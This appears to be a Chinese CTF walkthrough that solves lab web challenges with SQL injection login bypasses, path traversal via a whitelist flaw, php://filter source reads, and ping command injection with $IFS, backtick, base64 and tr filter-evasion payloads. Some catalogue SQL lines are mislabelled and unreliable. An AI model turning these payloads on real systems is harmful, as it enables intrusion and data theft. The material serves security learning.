如有权限,查询当前用户可以访问的所有表
--Oracle查询当前用户可访问的所有表
select owner, table_name from all_tables order by table_name;
--MySQL查询用户可访问的所有数据库和表
select table_schema, table_name from information_schema.tables;
--MySQL使用系统表查询所有可访问的表
select name from sysobjects where xtype = 'U';
--MSSQL使用目录视图查询可访问的表
select name from sys.tables;
GET请求在URL里发送参数的格式是 ?parameter1=value1¶meter2=value2¶meter3=value3……。在浏览器导航栏中直接修改就可以操纵这些参数。
与GET请求类似,但是POST请求的参数位于请求的底部,需要借助工具来查看和修改,比如使用Burpsuite。
靶机启动后,填写username和password,登录的地址为http://url.to.target/check.php?username=admin&password=pass+word,注意post过去空格变成了加号。
http://url.to.target/ http://url.to.target/check.php?/* 动态sql
"select * from tab where username='" + $username +
"' and password='" + $password + "'"
*/
select * from tab
where username='admin' and password='pass'
这是最简单的SQL注入,不管是在username还算在password上下功夫均可。 构造不正常的sql,使or 1=1恒成立,后面用#注释。或者让最后一个表达式or '1'='1'恒成立。得到flag为flag{4080d180-d289-43db-91ed-094ac7487e91}
from urllib.parse import quote,unquote
"""
构造不正常的sql
select * from tab
where username='' or 1=1 #' and password='pass'
select * from tab
where username='admin' and password='' or '1'='1'
"""
for m in ('\'', ' ', '#', '='):
c = quote(m)
print(f'{m} = {c}')
print(quote(r"' or 1=1 #")) # username=%27+or+1%3D1+%23
print(quote(r"' or '1'='1")) # password=%27+or+%271%27%3D%271
username=%27+or+1%3D1+%23
页面按下F12,发现提示$cat=='dog'。那么post过去一个http://url.to.target/?cat=dog,得到flag为
flag{80a408c6-2602-472d-966b-eb09d00dc293}
$cat=='dog' ?cat=dogWeb界面只看到一张大黄脸。根据“代码审计”提示按下F12,可以看到提示source.php。访问source.php,看到代码,有新提示source.php和hint.php在白名单列表。访问hint.php,看到flag not here, and flag in ffffllllaaaagggg。
http://url.to.target/ http://url.to.target/source.php http://url.to.target/hint.php看一下source.php的代码。发现提交参数是file,且file不为空、是字符串、并通过emmm:checkFile检查。这个函数经过3次检查
虽然“?”前的字符串在白名单里,但是“?”后面的字符串可以被利用,目录穿越到其他目录,尝试有无 ffffllllaaaagggg 文件,向上穿越4层父目录有这个文件,得到flag。
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
构造注入的参数 ?file=source.php?/../../../../ffffllllaaaagggg。符合第二个白名单检查。
http://url.to.target/?file=source.php?/../../../../ffffllllaaaagggg或者 ?file=hint.php%253F/../../../../ffffllllaaaagggg。这里%253F被浏览器解码一次得到%3F,%3F再被urldecode一次得到“?”,这样就符合第三个白名单检查。
http://url.to.target/?file=hint.php%253F/../../../../ffffllllaaaagggg界面有一个链接tips,GET方法传递参数file值为flag.php。题目叫Include,考虑include漏洞。
http://url.to.target/ http://url.to.target/?file=flag.phpPHP的Include漏洞在文件包含漏洞(include)-学习笔记_include_filter漏洞_小龙在山东的博客-CSDN博客简介服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。PHP Stream(流)属性支持受限于 allow_url_fopenNO受限于allow_url_include仅 php://input、 php://s_include_filter漏洞https://blog.csdn.net/lilongsy/article/details/108146107里面已经说的很明白了。使用读取php源代码方法,/?file=php://filter/read=convert.base64-encode/resource=flag.php,得到base64编码,再转换为flag即可。
http://url.to.target/?file=php://filter/read/convert.base64-encode/resource=flag.php
界面标题command execution,推测是执行shell命令。F12查看,提交form只有一个参数target,那么执行ping的命令应该是拼接出来的动态命令。注意shell命令,用“;”、“&”、“|”等符号分割,可以在一行命令上执行多个命令。
http://url.to.flag/$cmd = "ping" + $target
# target=weibo.com;ls /
$cmd = "ping weibo.com;ls /"
尝试填入 weibo.com;ls / ,看到根目录下有flag文件。再填入weibo.com;cat /flag,得到flag。
ping weibo.com;ls / ping weibo.com;cat /flag界面上有/?ip=的提示,尝试构造payload,/?ip=qq.com;ls,看到flag.php和index.php
http://url.to.flag/?ip=qq.com;ls尝试构造payload查看flag.php的内容,/?ip=qq.com;cat flag.php,看到fxck your space!看来是过滤了空格。
http://url.to.flag/?ip=qq.com;cat flag.php尝试构造payload不输入空格查看flag.php内容这里有几种方法 ${IFS} 、$IFS$1 、%20 、%09 、+ 、< 、<> 等。这里$IFS$1可行,payload为 /?ip=qq.com;cat$IFS$1flag.php,看到fxck your flag!看来是过滤了flag。
http://url.to.flag/?ip=qq.com;cat$IFS$1flag.php尝试构造payload查看index.php,/?ip=qq.com;cat$IFS$1index.php,看到代码中过滤了斜线、反斜线、引号、括号、空格、bash、flag等一系列字符(串)。那么就考虑不出现这些字符串怎么访问。
http://url.to.flag/?ip=qq.com;cat$IFS$1index.php尝试构造payload,/?ip=qq.com;ls|xargs$IFS$1cat,也就是执行 ls|xargs cat,回显所有列出文件的内容,再按F12看代码得到flag。
http://url.to.flag/?ip=qq.com;ls|xargs$IFS$1cat同理构造payload,/?ip=qq.com;cat$IFS$1`ls`,也就是执行 cat `ls`,回显所有列出文件的内容,再按F12看代码得到flag。不同的是,shell中将反引号内命令的输出作为输入执行,即内联执行。
http://url.to.flag/?ip=qq.com;cat$IFS$1`ls`尝试构造payload,/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat,也就是执行 echo FLAG.PHP|tr A-Z a-z|xargs cat,回显flag.php内容,再按F12看代码得到flag。正则表达式只匹配了小写的flag,我们就输入大写的FLAG.PHP,用tr命令转为小写,再执行cat。
http://url.to.flag/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat尝试构造payload,/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat,也就是执行 echo ZmxhZy5waHA=|base64 -d|xargs cat,回显flag.php内容,再按F12看代码得到flag。输入flag.php的base64编码,再解码,再执行cat。
http://url.to.flag/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat尝试构造payload,/?ip=qq.com;x=g;cat$IFS$1fla$x.php。利用正则表达式的漏洞,flag的最后一个字母g可以替换,也能打到目的。
http://url.to.flag/?ip=qq.com;x=g;cat$IFS$1fla$x.php既然随便注,那么先尝试一下万能密码。果然可以。
--"select * from tab where id='" + $inject + "'"
--/?inject='or'1'='1
select * from tab where id=''or'1'='1'
http://url.to.flag/?inject='or'1'='1
尝试只输入一个单引号“'”,看报错是mysql数据库。
http://url.to.flag/?inject='尝试使用union all 联查Information.schema时候,发现正则表达式过滤了select、update、delete、drop、insert、where等关键字。
http://url.to.flag/?inject='or'1'='1' union all select * from Information_schema.tables or'1'='1http://url.to.flag/